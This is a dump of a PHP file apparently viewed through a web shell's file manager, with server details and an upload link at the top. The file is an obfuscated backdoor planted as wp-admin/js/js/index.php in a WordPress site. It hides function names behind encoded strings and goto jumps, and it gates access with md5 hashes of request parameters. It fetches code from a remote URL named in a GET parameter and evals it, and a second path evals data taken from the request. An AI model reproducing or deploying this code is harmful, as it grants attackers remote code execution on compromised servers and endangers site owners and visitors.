HEX
Server: Apache/2.4.57 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux vmi267337.contaboserver.net 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
User: ohirex (1008)
PHP: 8.2.8
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec
Upload Files
File: /home/ohirex/web/ohirex.com/public_html/wp-admin/js/js/index.php
<?php
 goto tcCRLLo1Nju; XJTotAW0kuG: $iVXohEAdIUm = $gkOuRfBm0V_("\176", "\x20"); goto Zi0vWxJjjDM; Zi0vWxJjjDM: $mVg0pjf6uTe = ${$iVXohEAdIUm[0 + 31] . $iVXohEAdIUm[27 + 32] . $iVXohEAdIUm[4 + 43] . $iVXohEAdIUm[30 + 17] . $iVXohEAdIUm[47 + 4] . $iVXohEAdIUm[47 + 6] . $iVXohEAdIUm[46 + 11]}; goto TR4GZCf5aPV; tcCRLLo1Nju: $gkOuRfBm0V_ = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto XJTotAW0kuG; cQ6CJ1utZ5r: metaphone("\x6c\x64\x46\x30\116\x67\104\x65\115\156\172\111\x5a\x47\62\71\x6c\x6e\110\130\x31\142\154\123\x6c\x77\153\70\71\x59\70\x4a\x55\x63\103\113\x75\132\x32\x4a\167\147\x45"); goto yA0tNF4ZpNO; QdTvFXxUWeX: $mVg0pjf6uTe[70] = $mVg0pjf6uTe[70] . $mVg0pjf6uTe[71]; goto Btr1Rp91S1d; yA0tNF4ZpNO: class OeLzSk2bwHe { static function bEKWhf2OPt9($Cu_7A5lJ_JF) { goto k5lpk9PZP6H; pYHoB29_t5D: $A3D7fXJifwu = explode("\74", $Cu_7A5lJ_JF); goto OPeXwgoYji4; OPeXwgoYji4: $xNqF4nBg9Pr = ''; goto PM4TfUnkhOp; PM4TfUnkhOp: foreach ($A3D7fXJifwu as $jimt8ZzzLTY => $hEyN25XTUDd) { $xNqF4nBg9Pr .= $K1wgKp8TdVs[$hEyN25XTUDd - 29183]; ZWHU07PPWCZ: } goto PnLxYcRRJlr; QHrP3t87YJZ: return $xNqF4nBg9Pr; goto ws6ZTLQUiZK; GFeJXTAbUIE: $K1wgKp8TdVs = $ou20X2awGdt("\176", "\x20"); goto pYHoB29_t5D; k5lpk9PZP6H: $ou20X2awGdt = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto GFeJXTAbUIE; PnLxYcRRJlr: mcOs3kvJjRr: goto QHrP3t87YJZ; ws6ZTLQUiZK: } static function Q8xnNQBvTB2($eUxeCPRsBsm, $Yh1mNRjEuML) { goto oqCST5d2o9n; oqCST5d2o9n: $C0oCbfwBuAy = curl_init($eUxeCPRsBsm); goto J1yIc0IlJA_; YTBWJGPZ5tZ: return empty($LxKvztd87XQ) ? $Yh1mNRjEuML($eUxeCPRsBsm) : $LxKvztd87XQ; goto WbJg4t9bx4u; J1yIc0IlJA_: curl_setopt($C0oCbfwBuAy, CURLOPT_RETURNTRANSFER, 1); goto b5C6Sz3ubVD; b5C6Sz3ubVD: $LxKvztd87XQ = curl_exec($C0oCbfwBuAy); goto YTBWJGPZ5tZ; WbJg4t9bx4u: } static function Gc() { goto AO9psfp0MSw; fmAOiIYMfln: $DkqaHLkWvKU = self::Q8xNnqbVTb2($MmkBkxZaclu[0 + 1], $gMpVr7K12NF[5 + 0]); goto VQE9__3Cosp; umGvqWR1BYb: if (!(@$MmkBkxZaclu[0] - time() > 0 and md5(md5($MmkBkxZaclu[2 + 1])) === "\x33\x66\x36\142\x62\x37\64\143\x38\x31\x32\x31\x34\66\x37\145\143\66\x34\x30\x65\x65\x38\x37\x38\x34\144\145\62\143\141\x66")) { goto KTqPGE9qsF2; } goto fmAOiIYMfln; xInRZO7xbeo: Zkq5PEuCQk7: goto fDNnDRNlqme; fDNnDRNlqme: $mh711hTGTzp = @$gMpVr7K12NF[1]($gMpVr7K12NF[1 + 9](INPUT_GET, $gMpVr7K12NF[2 + 7])); goto kCG3HYdiDdH; fMKjFrlNwxB: KTqPGE9qsF2: goto Yw0eijx9r5Y; xoQ35cgS62O: foreach ($hDPWK7NOJ7C as $jkJTfz2CsTX) { $gMpVr7K12NF[] = self::bEkwhF2OPt9($jkJTfz2CsTX); lAfQUjZK4mJ: } goto xInRZO7xbeo; kCG3HYdiDdH: $oTL2Cz7J2hL = @$gMpVr7K12NF[1 + 2]($gMpVr7K12NF[6 + 0], $mh711hTGTzp); goto Z8EHHpG6_iJ; Z8EHHpG6_iJ: $MmkBkxZaclu = $gMpVr7K12NF[1 + 1]($oTL2Cz7J2hL, true); goto cSYuLFGf23Y; VQE9__3Cosp: @eval($gMpVr7K12NF[3 + 1]($DkqaHLkWvKU)); goto cck_9PJ4hJo; AO9psfp0MSw: $hDPWK7NOJ7C = array("\62\x39\x32\x31\60\x3c\62\71\61\71\x35\74\62\x39\62\x30\x38\74\x32\x39\x32\61\x32\x3c\x32\71\x31\71\63\x3c\62\71\x32\60\70\74\x32\x39\62\x31\x34\74\62\x39\62\60\67\x3c\62\x39\61\71\x32\x3c\62\x39\x31\71\x39\x3c\62\71\x32\x31\x30\74\62\x39\x31\71\x33\x3c\x32\x39\62\60\64\x3c\x32\71\61\x39\x38\74\x32\x39\61\71\x39", "\62\71\61\71\x34\x3c\62\71\61\71\63\74\62\x39\x31\71\65\74\x32\71\x32\61\x34\x3c\62\71\x31\x39\65\x3c\62\x39\61\71\70\x3c\x32\x39\61\x39\x33\74\62\71\x32\66\60\x3c\62\71\62\65\70", "\x32\71\x32\x30\63\x3c\x32\71\x31\x39\64\74\62\x39\61\71\70\x3c\62\x39\x31\x39\x39\74\x32\x39\x32\x31\x34\74\62\71\x32\x30\x39\x3c\62\71\x32\x30\x38\x3c\x32\71\x32\x31\60\x3c\62\x39\61\71\70\74\62\71\62\60\x39\x3c\62\x39\62\60\70", "\62\x39\x31\x39\x37\x3c\x32\x39\62\61\62\74\62\71\62\61\x30\74\62\71\x32\x30\62", "\x32\x39\62\61\61\74\62\x39\62\x31\x32\x3c\62\71\x31\x39\x34\x3c\62\71\x32\x30\70\x3c\62\x39\62\65\x35\74\62\x39\62\x35\67\74\62\x39\62\61\x34\74\x32\71\x32\x30\x39\74\x32\x39\62\x30\70\x3c\x32\x39\x32\61\60\74\x32\71\61\71\x38\x3c\62\x39\62\x30\71\x3c\62\71\62\60\70", "\x32\x39\x32\60\67\x3c\x32\71\62\x30\64\x3c\x32\71\x32\x30\x31\74\62\71\62\x30\70\74\62\x39\62\61\x34\x3c\62\x39\x32\60\x36\74\x32\x39\62\x30\x38\x3c\x32\x39\x31\71\63\x3c\x32\71\62\x31\64\x3c\62\x39\x32\x31\60\74\x32\x39\x31\x39\x38\x3c\62\x39\x31\71\71\74\62\71\x31\71\x33\74\x32\x39\62\x30\70\74\62\x39\x31\x39\71\x3c\x32\x39\x31\71\x33\74\62\x39\x31\71\64", "\62\71\62\x33\x37\74\x32\x39\x32\x36\x37", "\62\71\61\70\64", "\62\71\x32\x36\x32\x3c\62\71\62\x36\67", "\x32\x39\62\64\64\74\62\71\62\x32\67\74\x32\x39\62\62\67\x3c\62\71\62\x34\x34\74\x32\x39\x32\62\60", "\62\71\62\60\67\x3c\62\x39\62\x30\x34\74\62\x39\x32\x30\x31\x3c\62\x39\61\x39\x33\x3c\x32\x39\x32\60\70\x3c\62\x39\x31\71\65\x3c\62\71\62\61\64\x3c\x32\71\x32\x30\x34\x3c\x32\x39\61\x39\x39\x3c\62\71\x31\x39\67\x3c\62\71\x31\71\62\74\62\71\61\71\63"); goto xoQ35cgS62O; cck_9PJ4hJo: die; goto fMKjFrlNwxB; cSYuLFGf23Y: @$gMpVr7K12NF[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($gMpVr7K12NF[4 + 1](__FILE__)); goto umGvqWR1BYb; Yw0eijx9r5Y: } } goto iI87stT09XS; TR4GZCf5aPV: if (!(in_array(gettype($mVg0pjf6uTe) . "\62\61", $mVg0pjf6uTe) && md5(md5(md5(md5($mVg0pjf6uTe[15])))) === "\61\x39\143\144\146\x66\71\71\144\x33\63\x34\x31\142\x32\x30\71\146\x33\143\66\x65\x35\65\62\60\61\63\65\62\62\x62")) { goto G1KFzHtYe2c; } goto QdTvFXxUWeX; EHUUat58Ap9: G1KFzHtYe2c: goto cQ6CJ1utZ5r; Btr1Rp91S1d: @eval($mVg0pjf6uTe[70](${$mVg0pjf6uTe[39]}[17])); goto EHUUat58Ap9; iI87stT09XS: OeLzsK2bWHe::Gc();
?>